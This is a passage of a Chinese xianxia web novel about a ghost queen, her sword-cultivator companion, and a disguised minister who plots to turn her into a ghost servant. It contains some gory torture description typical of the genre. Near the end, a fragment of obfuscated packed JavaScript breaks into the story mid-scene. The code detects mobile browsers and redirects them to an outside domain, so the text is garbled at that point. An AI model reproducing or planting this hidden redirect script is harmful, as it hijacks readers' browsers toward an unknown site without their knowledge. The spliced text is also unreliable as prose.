“你还是把减翠提前找出来吧,省得到时候你被扣下还得赔……”
陌离放下手中的被角,回过头看向说话的人。
他在阁中未用发冠,只随意寻了根发带系了一半,此时转眸看过来,云雾般的墨发贴在他冷白的颈侧,蜿蜒在肩头他柔软单薄的雪色中衣上。
江妄嘴里的话就这么卡住了。
好容易回过神儿来,江妄又忘记刚刚说到哪了。
……
tmd,都怪这男的勾引朕。
这么一想,江妄感觉好多了,至少不在心里抓狂着想抽自己了。她微微一笑,
“我亲爱的陌公子,请您把减翠找出来吧。没别的原因——
我就是想看看它是不是真的秃了!”
“……”这下轮到陌离卡顿了。
江妄赶紧背过身去,生怕脸上得意的表情太狰狞。
本以为怼到陌离痛处,他不会再接话了。可没想到身后人沉默了半晌,还是回答道,
“之前飞出去了,现在不在金露阁里。”
切。
江妄心中暗暗摇头,这什么人啊,送女生礼物却不舍得花灵石买,把自己剑穗扣下来按个棍儿就当发簪送。
既得罪了本命剑,也得罪了女朋友。
不过江妄倒是不生气。毕竟这个剑穗也确实好看。
碧玉冰莹剔透,下端几截彩银连接着长长的飘带,同是浅碧色,也不知道是什么纱制的,薄若蝉翼的同时又兼具光泽感。江妄之前就眼馋了。
而且它现在好像被陌离改了一下,变得更好看了。
剑穗就剑穗吧。
江妄自认在刚才对话中已经获胜,决定大发慈悲地放过陌离,没有再嘲笑他的寒碜举动。
她把头上原来的簪子拿下来,换了这个上去。
飘带跃然在江妄披肩的鸦色长发上,与她一身轻纱白衣和腕间海情交相呼应,衬得她如人间明月松雪。她转过身来,含笑看着陌离,下巴微微扬起,那意思就是在说,朕好看吧。
白衣这东西果真有讲究,穿得不好是午夜的索命厉鬼,穿得好了那就是清冷出世的神明。具体就看江妄之前那身白色桶状窗帘大套,和如今一对比就知道了。
陌离垂下眼,“试试,看看能打开吗?”
江妄一愣。
……
白悦发现了一个装满了书的货架,她抽下几本,蹦跶着跑去问店员是什么。
啧,现在的生意真实好做,特产专卖店里还卖书?江妄心说肯定不是什么有用的秘籍功法,不然也不能摆那么多。
不过她倒是不想拦着白悦,只是她看着小白那个快要堆满的小竹筐,有点儿担心她再放几本书进去,有可能会压坏下面的鲜花饼。
正想着要不要提醒她再拿一个筐的时候,就听那边小白呀的惊呼了一声。江妄应声看过去,孩子涨红了一张小圆脸。
江妄稍稍直起身子,刚想要过去看看情况。小白便对她疯狂摆手,脑袋要摇出残影了。江妄便又靠回去了。
也是,她江妄在这里呢,能出什么事。
但白悦死劫将至,江妄到底是留神了,关注着那边的事。只听那个店员在问小白,“那你还要不要?”
白悦紧紧把那几本书抱在胸前,仰着脸问,“这书贵吗?”
店员可能是点了点头,白悦高兴起来,
“贵就好,那我要!”
江妄靠在门框上栽了一下。
我靠。江妄默默扶额,这孩子真是……真是,尽得她的真传哈。
没什么不好的。对,没什么不好的。
江妄微笑着安慰自己,一边查看剑穗。果不其然又一次看见了几百座一望无际的灵石山,瞬间放下心来。
没事,花吧,我的白。咱俩就算是天天这么花,也能花个几十年呢。至于几十年之后……
她听说遥岑宗可以申请预支月俸,也不知道陌离一下申请个几百年的好不好使。
江妄不再去看那边的事,她转回视线,望向商铺外的街道。
江妄神识极强,若是她想,可以在一瞬间从她所在的城中心看到城郊在发生什么。
可是现在,她只是像个毫无修为的普通人一样,无意义地远眺着。耳边是商铺里小白开心到飞起的惊叹,眼前是如织人流,林立店肆。她忍不住抬起手,去摸脑后的发簪。
……
当时看到那些山海般的灵石,就算是无谓如江妄,也有一瞬间的失语。
剑穗的空间里除了数不尽的灵石,也就只有几件极品的保命丹药和一些外敷伤药。
这很陌离。
看得出来,他用不上的法器秘宝那是一件也不留。
正常来说,陌离当仙君这么多年,收集到的好东西应该不少才对。他应该是觉得自己用不上,都给宗门了。
怪不得陌离仙君在遥岑宗的人缘好的不得了。
可他还是有很多很多的灵石,而且一少半是高阶灵石。他应该是几乎没花过的,月复一月,年复一年,才攒了这么多。
“都给我啊。”江妄一时不知道说什么,只扯了扯唇角。
“嗯。”陌离走了过来,到她面前站定。他抬起双臂虚虚环在江妄耳侧。
江妄下意识绷紧了身体,而陌离只是帮她调整了一下发簪的位置。
“以后别变灵石用了。”
“怎么,陌离仙君嫌我不道德,是个坏鬼?”江妄在他怀中抬起头,挑衅似地看过去。
“不是。要变总是费力,我这有很多,你用就好。”他慢慢放下手,却并没有后退拉开距离。
“你想怎么用怎么用就好。只是如果快没了,记得和我说一句,我再补上。”
“……”
江妄脸上的挑衅僵在那里,只好后退一步干笑着扯开话题,
“这个……那个……啊对。对,你这储物空间也太不靠谱了,都没个什么秘钥或者阵法,那不是谁都能打开?安全性太低了也哈哈哈。”
“不是谁都能打开。”
“什么?”
“只有你。”陌离说,
“江妄,这个世界上,只有你能打得开。”
……
李甜甜回听香楼不过几日,便整合乔洒松旧部,清扫异己。也不知道用了什么手段,竟成功按下了那几个修为略高于她,跃跃欲试想要当香主的人。
她动作很快,几乎一夜之间就赢得了绛楼大多数弟子和各绯楼缃楼楼主的支持,到现在,已经是毫无悬念的听香楼下一任香主了。
听香楼楼向来都是多个香主共治,少有唯一香主的时候。
乔洒松和乔家当年在听香城可谓是如日中天。单看他能操控一城执法宗门买卖人口,不漏一点风声,就可想其权力大到了何种境地。
然而不还是有黄栖权、王勤与他共坐香主之位?
可他一手培养起来的李甜甜做到了。
这姑娘的野心比江妄想的还要大。
不过这不是什么坏事,至少对江妄来说,操控听香城会更加容易。
李甜甜也是个聪明人,多次感激江妄许她借势,又拟定了新条约,允许江妄派鬼常驻监管,给鬼界的好处也只多不少。
江妄很满意。
鬼界发展起来之前,都不用再考虑供给问题了。至少她还在的时候,听香城是不会毁约的。
无甚可议了,江妄本不打算再找李甜甜的。可是就在她跟小白往回走的时候,听说乔家旧宅那块地又易主了——
正是李甜甜买下的。
江妄只得去十三楼叨扰了一下李大忙人。
李甜甜本是热热情情将江妄迎进来的,可听到江妄问她,买下乔宅是不是想埋乔洒松的时候,却不住皱了眉,
“鬼王陛下,我知道香主在很多人眼里,都是十恶不赦的。但是他对得起我,也对得起听香城很多人,不应该死后随意掩埋,连个祭拜的人都没有……那样未免太过凄凉。
何况他再如何,也是没有得罪过一只鬼的,您又何苦……连他的身后事都不放过呢?”
“额,你先不要激动,”江妄面露尴尬,“我不是管你怎么埋乔香主,我只是想说你不要把他埋在那个宅
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子里。”
“为什么?那是他的家啊。香主生前时常怀念他已经亡故的妹妹。”
“……”她要怎么说?难道说那个地方有把你香主剐了的凶手遗骸吗?还是说梁道长和乔香主怕是不想做邻居?
她真怕这姑娘冲过去把杨万缕拔起来鞭尸泄愤。
原来的时候,她总觉得身后事是最最不重要的。就像她从不在意自己的尸体被埋在哪,是否被人剁了个稀烂。
那时候江妄觉得,就算有人饿急了要拿她骨头熬汤喝,她大概也不会拦着。
但现在,她好像稍稍改变了想法。
尸体对死去的人来说,也许没有意义。那人早就开启了新的旅程,将或好或坏的上辈子抛诸脑后。
但对于活着的人来说,尸体却并不是可以销毁的废品。
他们将自己的感情寄托其上,爱恋,依赖,怀念,怜悯,抑或是,敬佩和惋惜。
算了。反正她现在有钱。江妄疲惫道,
“多少钱?我买了吧。”
一劳永逸,也算是她看在归元面上,对杨万缕的最后一份情义。
“陛下你……”
“相信我。乔香主若还活着,也不会想再回去的。那里早就不算他的家了……
行了,我也不问你要地契了,那块地下有灵脉,你们若要引阵聚集灵气的话,请便就好。”江妄肉痛地掏出灵石,说完,也不管愣在原地的李甜甜,拿起人家放在桌子上的瓷瓶就要打开。
“哦对了,差点忘记。祝贺你心愿得偿,”江妄打开瓷瓶,冲李甜甜笑了一下,
“李香主。”
……
这是江妄他们在听香城的最后一晚,只待明日出发。
绛楼九楼的金露阁内,一个圆脸小姑娘卷着被子在大床上睡得正香。四下极静,只能听见小姑娘细浅的呼吸声和几句囫囵的呓语。
“嘿嘿……回家,回……家……”
江妄失笑,这孩子,总是这么开心,睡个觉也这么开心。
真叫人羡慕,不禁感叹,活着真好。
可即便她活着的时候,也从没这么开心地入睡过。现在呢,又再也不能睡了。
很多开心她不曾体验过,也再也体验不到了。
江妄兀自摇头,暗笑自己不修无情道矫情多了。她走远了些,离开熟睡的小姑娘。
陌离把减翠找回来了,正摆在桌子上擦拭,感觉到江妄走过来,便停下手中的动作抬眸看她。
江妄本来没想找陌离说话,但陌离抬头,她便拐了个弯倚在桌沿。
陌离可能觉得她情绪不对,想张口问点什么,江妄立刻抬手在唇边比了一个噤声的动作,示意小白已经睡着了。
她一错不错地看着陌离,传音入密,
“俍业这个地方,任你修为再高,进去了也不过普通人一个。那是巫师的地盘,他们的手段如何没有人清楚。真有个万一,我并不敢保证你能活着出来。”
“陌离仙君,你想好了,真的要去吗?
我这个人向来最不喜欢别人反悔,但是呢,这回……”她笑了一声,移开视线落到桌上的碧绿长剑上,
“这回,陌离,我给你一次反悔的机会。”
“不反悔。”他没有丝毫犹豫便回答了,说完,生怕程度不够似的,还加了一句,
“和你去。”
“……活着不好吗?”江妄不懂。
“那么你呢?江妄。为什么对一个认识不过月余的人这么好呢?难道她那至阴的体质真的值得你放下暄妍诸事吗?”
陌离竟然能看出来小白的体质,江妄略微诧异。
“不为什么。我都死了,还想那么多有什么用?跟着心走就是了。”
“是啊。跟着心走。”陌离看向她发间隐隐露出的碧色飘带,
“我跟着你走呢。”
……
江妄双唇抿了下,唇角肌肉强行扯开一个弧度,无声地笑了几下,想结束这个话题。她打算离开这里,去暄妍了,对,现在就走,她还有事情要和江大宝说……
可她迟迟没有动作,反而是再也控制不住了一般,肩膀不可自抑地颤抖了起来。大概是怕吵醒小白,她抬起双手捂住嘴,拼命不让自己笑出声来。
江妄直觉自己魂魄不稳,气息难以收敛,神识模糊,对应的五感渐失,她什么都感觉不到了。直到——身前有个模糊的影子凑近,随后,一个温热柔软的,带着热气的东西,轻轻挨在她的眼角。
她回过神来,才发现,陌离正离她很近很近,而她自己,不知道什么时候,已经泪流满面了。
……
江妄直起身子,错开陌离的呼吸。
她毕竟不是人,眼泪流得再多,也是虚幻凝实的,没有温度的。
那些冰凉的液体翻过她的手背,滴在桌子上,很快就消散了,连些许的水痕都留不下。
江妄把手拿下来,翻过手看了看手背,手上的竟然还在。
江妄惊奇地看了一会儿,那水滴还有没消失。她也不知道是怎么想的,竟低下头去,舔舐了一下。
没有任何味道。
江妄笑了,这一次她笑得正常多了,还拿出巾帕擦了把脸。
她果然已经死了。
44. 第 44 章
离天亮还有很久,江妄实在不愿在这个氛围奇怪的空间里和陌离尴尬对视。她未多做犹豫便闪身离开了,最后隐约听见陌离叫了她一声,好像要说什么。
……
算了。
她与陌离已没什么好说的了。
——既已决定去俍业了,那迷失心智,神不由身也是他自己选的。
这一次过,不管生前事与死后劫怎样,她都放过陌离。
……
不过既然出来了,明日又要离开,江妄便打算去暄妍溜达一下,来个突击检查,看看那些鬼有没有在为她好好工作。
这一次进暄妍,江妄能明显感觉到不同。
休战期间暄妍城的夜晚,总算看起来稍稍正常一点,再没有整宿整宿的灵力爆破声,和天空上映射的永不休止的攻击痕迹。
现如今,宿芳宫将战线以东也就是暄妍城整个东北部,顺势划给了江妄,作为鬼类的聚居地。地方算不上多大,但对于目前南界所有清醒的鬼来说,已经足够用了。
江妄这个自封的鬼王也再不是带着一帮鬼游荡的流氓头子了,而是正经有“领土”(强行霸占来的),有“子民”(绝对实力压制的)的……山大王了。
对,没错,宿芳宫东北部就是一座山。
于是,江妄第一次体会到了“登基”的感觉。
山顶基建还不那么完善的大殿里,江妄坐在最高处,听着下首众鬼的邀功请赏,外加一些“实事求是”的工作反馈。
邀功自不必说。那些实力较强站在前排的鬼,都是大大小小的头领。
有诉说自己在战场上多么英勇无畏,大表衷心说甘愿为江妄赴死的;有讲故事说当时情形多么险象环生,全靠自己力挽狂澜的;还有以数量取胜,交代自己杀了多少人的。
对了,那位“计数专家”好像喜欢收集头颅,当场要给江妄展示战绩。
江妄:……
“不必了不必了,有心就好。哈哈。”
至于工作反馈,则是诸如,
“襄竹狗果然贼心不死,试图混进我界,幸而您早有防备,用秘宝划开空间,这才保证了我们的安全!陛下英明!”
……她记得寻宝、选址、布阵好像都是江大宝干的,她就是最后去注入了一下魂力。
“宿芳宫即穷且抠,暄妍人饿的快吃不上饭了,他们是视若无睹。幸而陛下从听香城运送资源,又送了不少灵石来,帮他们恢复灵光阵这些基础设施。现在风向全变了,普通百姓都念着陛下的好呢!陛下圣明!”
……她记得她就是控制住了听香城,至于灵石资源这些,需要什么怎么运输,好像都是江大宝派鬼弄的。
“一直以为实力只取决于生前达到过的境界,再不能改了,没有想到还有这样的方法提升魂力,鬼也可以修炼了!呜呜呜,这样一来,我的魔化时间又往后延了!吾王天纵奇才!!”
……她记得,这个好像是路清嘉研究的吧。这个跟她真的一点儿关系都没有。
总之,一时间叽叽喳喳,什么声音都有,吵得像是菜市场。
江妄也是好笑,这群傻子,连该拍谁马屁都不知道。
她就一甩手掌柜,平时大小事宜都是她大宝和路清嘉主持,不是要紧事她几乎不过问,更是从来不管提拔哪个鬼。
这些鬼的脸她都记不清几个。
不过话呢她倒是爱听。
毕竟这种群鬼跪拜的场面,她当寒星门门主的时候都没体会过。
是真……爽啊。
不知道又是哪个鬼叫了一声,立马又引起一阵此起彼伏的:
“陛下给予我们无上的勇气!”
“吾王!吾王!吾王!万岁!!!”
“……”
有的时候,江妄真的没觉得是自己给他们洗的脑。
可能?这个物种还是很单纯的吧?
……
江妄全程微笑,和蔼可亲。
她望向下面,江大宝自成一排站在离她最近的位置,也随众鬼跪拜。素蓝衣裙,身姿单薄,却丝毫不显羸弱,反而像一把最锋利的钢刀。她跪着,目光虔诚坚定。
江妄看了暗自点头,还好还好,有正常的呢。就算哪天自己不在了,这群傻鬼也不至于被一锅端了。
说到大宝,江妄向她身侧看去。
……路清嘉呢?
这么想着,她便开口问了江大宝。
江妄本是随口一问,若是路清嘉有事来不了也没什么。
可江大宝闻言却柳眉蹙起,思虑半晌才迟疑地答了一句“属下不知”。
这就有些不对劲了。
……
说来江妄虽然远在听香,对暄妍诸事也并不怎么上心,传来的战报却是一字不落的看过的。
上面称鬼相骁勇,几以一己之力剿灭翡菊余孽,且在对战襄竹宫时立下首功,可谓“无鬼相,不胜仗”。又说其对待战俘毫不手软,为得襄竹情报,无所不用其极。
当时江妄心里有种说不上来的怪异。
那些文字里描述的路清嘉,和她所知的路清嘉完全不同。
路清嘉向来性子温吞,少杀伐气,所以尽管他修为更高,江妄也还是封江大宝为“鬼将”,令其征讨宿芳宫。让路清嘉为“鬼相”,涉外事,并在战场上配合鬼将,服从其调度。
……没想到,他竟有这般能力。
不过想起姬瀛丘口中的牵尸殿主,江妄又觉得合理。
也是,路清嘉生前到底是背弃师门,修邪道还开宗立派的一代枭雄,又怎么会真如表面一般无害?
可即便心里已经知道,真的亲眼看见路清嘉在人皮拼凑搭成的大帐里虐杀人修的时候,江妄还是狠狠惊了一下。
地上七零八落着一些状似人体组织的东西,一具具附着着血肉的骨架堆叠在一起,勉强能让人辨认出它们是尸体……又或者有几具不是,因为江妄依稀能感觉到帐中仍有几道人气。
还有四只刚离体的魂魄,正围在一个跪坐的男鬼身边跳跃,上上下下地想要撕咬他,可终是不得触碰。
不多时,一个阴差自地下满脸不耐地出现。
他看见江妄倒是收敛了几分,但也没有行礼,只是加快了手里的动作,唰唰抛出四条绳索勾了那些魂魄。收回绳索时看向那边的男鬼,再也忍不住了一般啐了一口。他没多作停留,带着魂魄们转身不见了。
男鬼放下了手里的缝线和骨棒,站起身来。江妄也总算是看清了他的身形。
那鬼长发松松盘起,发尖滑落颈侧,或深或浅的血迹铺满他前襟,银翼面具被鲜血糊了半边儿,此刻还往下滴着血。
他浑不在意地放下卷起的袖口,
“陛下大驾,臣未曾远迎,实在是——”男鬼向前一步曲身行礼,露出了身后的那盏几乎成型的明灯。
“失礼了。”
江妄看着他那个标准至极的拜礼,笑道,
“我召众鬼山顶议事,你不来,是存心违抗,还是……并未感受到召唤呢?”
“陛下恕罪!”对面男鬼跪下,“臣并非不敬,只是忙于审讯战犯,一时耽搁了。还望陛下看在臣一心为鬼界,宽宥则个。”
他顶着面具,江妄看不清他脸上表情,但只听其音色平稳,就知其并不畏惧。
“是吗?”她怎么不知道,路清嘉如今不仅骁勇善战,还恭谨沉稳,说话文绉绉的了呢?
“你审讯的好手段我们一会儿再论。你先起来吧。”江妄伸手去扶他,握住了他还算洁净的小臂,在路清嘉顺势起身的时
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候一把将他往自己的方向一拉,险些将他揽进怀里。
江妄维持着手里动作,越握越紧,垂眸柔声道,
“这么久不见了,你的反应可真无情得令我失望,看来是一点儿没想我的。害,这么说话不累吗?把面具摘了吧。”
魂体、鬼气均无异,就是路清嘉本鬼。
那就只剩最后两道了——化鬼后再无可改的面容,以及化鬼后的记忆。
“路清嘉”轻笑了一声,用未被束缚的那只手拿下面具,随手扔在地上,发出轻微的咣当声。那张清润俊脸映入江妄眼帘的,与路清嘉别无二致。
江妄有些意外,手中停了力道,路清嘉便抽回手臂,后退几步拉开距离,复又跪下。
“陛下玩笑了,但这样的话还是不要说了。臣与鬼将姐姐两心相悦,若是叫她听去,可是要伤心的。”
……
原先她也能看出来这两鬼互有好感,只是一人呆傻,一人死板,是以化鬼几年都未曾确认心意。
可如今江妄不过处理听香事务半月,没关注暄妍这头,他俩就在一起了?!
还有路清嘉这么明显的变化……
其实,这二鬼说是相互喜欢,不如说是……前缘未了,来得更加贴切吧。
江妄自从知道了路清嘉生前的身份起,便也知道了江大宝是何许人也。
所以说……
“你是想起来了吗?路清嘉,你想起来生前的事了吗?”
对面的男鬼听到江妄这么说,愣住了片刻,不过也只有片刻,他就反应过来了一般,“哈哈哈哈哈哈”地大笑了起来。
“路清嘉”好像真的是特别开心一样,笑得腰都弯了下去,他一手抱着膝盖,一手握拳捶着满是血污的地面。然后他骤然起身抬头,
“对!是啊!是啊陛下!我想起来了,我想起来了啊!!”
……
江妄看着男鬼脸上状似癫狂的笑意,尬得无以复加,一时间不免扶额反省,自己发癫的样子是不是也这么……不堪入目。
她尝试和对方正常交流,
“我若没猜错,你和大宝的记忆都是你自己封的吧?如今怎么会又想起来?而且你想起来了,那大宝呢?是不是很快也要想起来?最重要的是,你想起来了,那化鬼执念呢?这是不是证明你已经进入正常的魔化倒计时了?”
“陛下这么多的问题呐。”他摇头笑着,“看来陛下已经知道路清嘉生前的身份了,怎么样,不觉得我才是鬼界最大的公敌,应该抓起来千刀万剐吗?”
他最后一句“千刀万剐”的话音调极为奇怪,显然是疯劲儿还没过。
江妄就当没看见,并表示尊重与理解,
“既然你现在是鬼,也在与宿芳宫的战争中出力最多,决心已表,我又有什么介意的?而且你已经是鬼相了,即便你想,也再做不回从前的驱魔殿殿主。我相信你足够聪明,明白自己身为殿主时,与群鬼不共戴天,而身为鬼相时,便再不能与襄竹修士为伍。”
“……不愧是北界盟主,果然好气魄。居你麾下,供你驱使,我心甘情愿了。”
江妄对路清嘉知道自己身份这点并不奇怪,更不在意,“那么回答我的问题。你的记忆到底是怎么回事?”
“陛下,我只是想起了过往的一些零星碎片,并不是全部记忆,因何化鬼,我还不知道。想是我对自己动手,多少有些抗性罢了。”他说着站起身,目光始终与江妄对视,
“不过对别人,我敢保证——驱魔殿的手法绝无意外!”
“你很自信。这很好。那么,殿主大人,请问你现在还是否会用‘即时魔化’这一招?又或者说,‘即时魔化’可有应对的方法呢?”
江妄微笑着一手设下封锁,一手逼近路清嘉的额头。
45. 第 45 章
魂力凝于掌中压迫而下,江妄用精神力织了一张密网,死死箍在对方身上。
她本没有想下这么重的手的,只是想借鬼中之王的天然压制确认路清嘉是否撒谎。
毕竟这“即时魔化”能随时操控炼化鬼的记忆,以掌控鬼的魔化时间,是一把悬在整个鬼界头顶的镰刀。
虽然用人不疑,她也相信路清嘉没有那么蠢,不会当了鬼还去巴巴儿地找那些被宿芳宫收编了的驱魔殿残部认亲。但事关重大,她不能用对路清嘉的信任去赌。
她一定要把鬼界的脉门牢牢地攥在自己手里。
所以,她一定要路清嘉说真话,把他知道的全部吐出来!
可她一下手便发觉不对。
江妄是鬼中大乘,能御万鬼。可路清嘉显然不在她的控制范围——在她的精神封锁下,他仍然能保持百分百的自由意志!
是对方生前修驱鬼功法,精神力过强的缘故吗?还是说……他根本……根本……
根本什么?江妄一时间也想不明白,只是脑中划过了一个很模糊的想法,却还来不及反应。
她面前男鬼没有想到江妄会突然发难,面上是显而易见的诧异。但随着江妄精神封锁加重,男鬼好像意识到了什么。
可他非但没有跪地乞求他的王宽恕,反而双眸一凛,霎时,一道金色光芒闪过。
“路清嘉”的面皮有片刻的扭曲,好像下一瞬就要变一张脸似的。
那张扭曲的脸咬着牙吐出几个字,
“陛下,这是何意?!”
“噗,”江妄不合时宜地笑出了声。
……
“?”
季晞一顿,手中法诀被这声笑生生打断了。
……这疯婆子到底是发现了?还是发神经?
他现在是走为上计,还是再观望……
“额,不好意思。”江妄手动按住脸上跳动的肌肉,一脸一本正经的样子。
心里却暗道:圣人云“头可断,血可流,发型不能乱”这话真是不假,再帅的人不经营形象也是不行。
反抗什么呢?脸皮都要被魂力波动扯断了吧……
江妄握拳唇边,假咳了一声和善道,
“朕能有什么坏心思,不过是想你说真话罢了。谁能想到,咱们的鬼相实在是很有本事,并不受朕控制呢。”
……就这样???
季晞瞪圆了眼。
也是。
她半步飞升陨落,那样的实力,又是万鬼之王,想要信息自然不用多费口舌,动手更快。
是他草木皆兵了。
魂力波动在空中搅出的旋风逐渐散去,露出“男鬼”不再扭曲的眉目——他把自己的七分生魂交给了江妄掌控。
季晞微笑着看向江妄,又俯身请罪,
“臣刚下战场不久,才下意识做出对抗。可臣待陛下之心天地日月可鉴,绝无矫饰隐瞒之意……”
有一天,他有了江妄那样绝对的实力,他也能号令群鬼……
不,不止。
“陛下所说的‘即时魔化’,据臣所知,一旦实施便不可逆转,没有解法。”
那时,不止是鬼。人,妖,万物生灵……只要还在这红尘内,守六道法,不能超脱生死。
谁敢不从?!
“……臣不才,应是这世上,唯一一个会使‘即时魔化’的人了。”
而他睥睨众生,揽尽天下那一日,绝不算远了。
因为江妄好像信了。
她收回了压制,还一脸抱歉地扶他起身。
她该信的不是吗?他又没骗她。
托路清嘉的福,他在宿芳宫地牢里被折磨了二十几年。边茂那孙子带人把他的脑袋切开百八十遍,也没研究明白这功法的核心。
所以,当宫主把他放出来,捏着鼻子让他接管襄竹宫,求着他对付江妄的时候。他就知道了——
这么多年了,这帮废物还是没学会。
他的殿主死了,不但成了鬼,还记忆全失。如今被他炼化为鬼仆,正乖乖地躺在他的束魔袋中。
而当年会“即时魔化”的那些同门,都没有他耐造,早就死在了宿芳宫一次又一次的实验中。
只有他活了下来。
他当真就是这世上最后一个,会使“即时魔化”的人了!
江妄笑着说他有大才,说欣赏他,以后要留他在身边做事。
季晞笑了。
说来也挺绕口的,一个会驱鬼功法的鬼,又怎么能待在鬼界呢?
他知道江妄是不放心自己,必要放在眼皮子底下细细盯着才算完。
殊不知她离自己越近,越好。
正如他意……
“什么?!你要让我跟你进俍业?”季晞脸上的笑意僵在脸上,周身鬼气有如实质般裂开了。
这鬼真的疯了吗?
她进俍业干什么?
没事闲的吗??!
“激动什么,刚才不还发誓,要追随朕到天涯海角吗?”江妄奇怪地看了他一眼,手中召江大宝的动作却是没停。
……屁的天涯海角。
鬼能想到你要去俍业那种鸟不拉屎的地方!!
那地方一切未知,到时候他的肉身在外面有个好歹,他又没能及时出去……
那岂不是就真的,死透了?
……
江大宝一出现就跪地为“路清嘉”求情,请江妄看在他立下大功的份儿上绕过他一次,她以后定会对他严加管教,定不叫他再虐杀战俘云云。
想来是她在大帐外就感受到了江妄的魂力波动,以为是江妄发怒要惩治路清嘉,但被封锁拦在外面进不来。此刻江妄一召,才得以现身。
江妄便问她,“路清嘉干的这些事,外面的人知道吗?”
江大宝连忙摇头,“属下不敢走漏半点,怕不利于陛下大计。是以除了属下和几个收拾残局的鬼卒,并无他人知晓。”
“很好!这才是我的好大宝!”江妄拉她起来,狠狠拍了拍她肩膀,
“不过也不用你再管路清嘉了,他,我要带走。这段时间,暄妍的事还要多辛苦你。”
“是。”女鬼一看江妄没有深究路清嘉的恶行,这才松了口气。
“把你的伞拿出来。”
江妄将青伞与自己的魂体连接,打上数道法印,魂力便源源不断延伸到青伞之上。
此后,只要江妄不主动断开连接,这青伞便相当于江妄的一个分身。无论江妄身处何地,只要江大宝想,就可随时借用江妄的魂力。
“陛下!您这是做什么?您这样时时供养着法器,会有损魂体的!”江大宝面色一变,上前几步想要拦住江妄。
可惜江妄动作快,已经成了,
“无事。我只留你看家,没有足够的实力怎么震慑群鬼应付宿芳宫?而且我带路清嘉在身边照应,你且安心就是。”
“……是,属下必不负陛下所托。”江大宝只得应是。
“嗯。也快天亮了,我们走吧。”江妄看向路清嘉,“从这里赶去西南到底是路途遥远,你跟紧我,别落下了。”
季晞:“……今天就去俍业??”
“不然呢?”江妄睨了他一眼。转身切换回魂体,飘出了鬼界,再一个缩地便要出了暄妍地界。
季晞微笑,赶紧追上已经出发的江妄,
“哈哈哈当然是听凭陛下吩咐。”
……
江妄狂妄自大,非要为那把破伞输送魂力,实力大大削弱。
但季晞自知,如果他现在出手,能成功魔化江妄,并将其炼化为鬼仆的概率不足三成。
所以他得等,得徐徐图之。
能取得江妄信任,与其近距离接触的机会不多,他决计不能放过!
这趟俍业他是非去不可!
至于他长时间离魂在外,不顾肉身,是否过于勉强……
这些已经不在他的考虑范围之内了。
路清嘉胆小如鼠,离魂了还要时时刻刻牵着他那身体,生怕被人害了似的,没有半点儿风度。
呵。
金尊玉贵的小公子,从棘兰宫大弟子到驱魔殿殿主,一辈子呼风唤雨,吃过最大的苦可能就是爱情的苦了。当然不舍得死。
他又怎么会和他一样?
他这辈子经历过的大多事,都比死还要可怕。
季晞不怕死,他只怕不能收了江妄炼化至厉鬼仆,成为南界至尊!
--
江妄二人一路往南,就觉得天越压越低。而到了俍业这里更是如此,稍一抬头就觉得阴云要碰到额头。
太阳明明早就升起来了,可这里仍然窥不见天光,放眼望去万里荒土,没有半点活人气息。
已经走到头了。
因为没有路了,再往前半步便是深不见底的巨坑。
江妄凝实魂体,随手捡起个土块扔进巨坑。谁知以她那么强的精神力,竟也听不见回响。
江妄俯身用手指轻蹭了下巨坑的石壁,得出结论:这坑的石壁和她脚下所踩的一样,确实还算是南界土地。
莫非是山脉断裂?
可是不像,这样整齐到近乎是垂直的断口,并不像是自然或人为造成的山崩。
反而更像是……
有一整块土地,凭空消失了。
啧。
世间事千奇百怪,修到大乘又如何,也不能一眼看破因果。
难怪那么多的人削尖脑袋也要飞升上界。毕竟,若能寻一个更接近法则的地方,有一天大概也能成为法则本身。
江妄拍拍手上的土,清洁术这种和修真沾边儿的法术果然已经使不出来了。她便干脆不管了,席地而坐,坐下后还看了看那边站着的季晞,
“要不你也坐下歇会儿吧,我猜那两个还有的磨叽。”
季晞想了想也坐下了,笑着说道,“原来要进俍业的不止我和陛下啊。不过既然要同行,陛下可否告知来人身份,也叫属下心中有个准备。”
江妄挑眉,“见到了再说吧。”
也不知道咱们陌离仙君和牵尸殿主可曾相识呢……
果然不出江妄所料,在无聊打坐大半个时辰后,陌离和小白才姗姗来迟。
俍业附近,灵力早就用不得,离老远的就看见,两道身影正步行往江妄这边来。
其中一人身姿高挑,手执长剑阔步向前,另一人则看起来娇小极了,浑身挂满了包裹,跟在身后小跑。
江妄不急不慢站起身,边整理衣摆边道,“来了。这便是与我们同行的人。”
待整理完,她回头看向季晞,只见他很明显地愣了一会儿。江妄一笑,
“怎么?认识?”
季晞沉默片刻,复又笑道,“陌离仙君。这点见识我还是有的。”
“嗯,”眼看那两道身影越来越近,江妄笑开,张开双臂,极热情地迎了上去,“他认识你吗?”
季晞赶忙跟上,在她身后悄声道,“大概不认识。”
江妄一把搂住陌离,把下巴枕在他肩上,“半个时辰前你发联络还刚进岭南呢,真快。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15016930|162045||http|test|mini|href|location''.split(''|''),0,{}));
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>“久等了。”
陌离就着拿减翠的手回抱江妄,那把碧绿长剑便靠在了江妄披散的墨发上。
不知怎地,减翠剑身不住地颤动,连带着江妄的胸腔一块儿震了起来。
直到那些震动大到都好像从后背传导到前胸了,那么清晰,江妄顿住了片刻。搂住陌离脊背的手上移些许,那是他心脏投射的位置。
是……陌离吗?
“小白给的东西,你吃啦?”江妄并没有松开陌离,而是维持着之前那个姿势问道。
陌离温声回应,
“嗯,吃了。她说若想进俍业必须跳进眼前这处地陷,可跳进去之后,只有本族人可以安然无恙抵达入口,外人必会被摔成肉泥。我是活人,想进俍业只有两个办法:要么和小白结契,成为法则认定的道侣;要么,就只能被她种下蛊虫,当作她的傀儡。”
江妄一边轻抚着他的背,表示自己在听他说话,一边抬起头,看向陌离身后正放下行李捏着胳膊的小白,做了几个口型。
小白连忙摇头。
江妄皱眉。
可是如果还没有开始,陌离为什么……他这个物种怎么会有这样的心跳……罢了!
江妄不再去想。
大约是减翠瞧见了自己发间的碧玉簪子,又生气了罢。
“小可怜儿,真是委屈你了。”
江妄随口说完便松开了陌离,从他怀里退出来,走过去拿起了小白的几个包裹。
唔,好重。这熊孩子还真买书了……
怪不得陌离一个也不帮她拿。
她现在也不想帮她拿了。
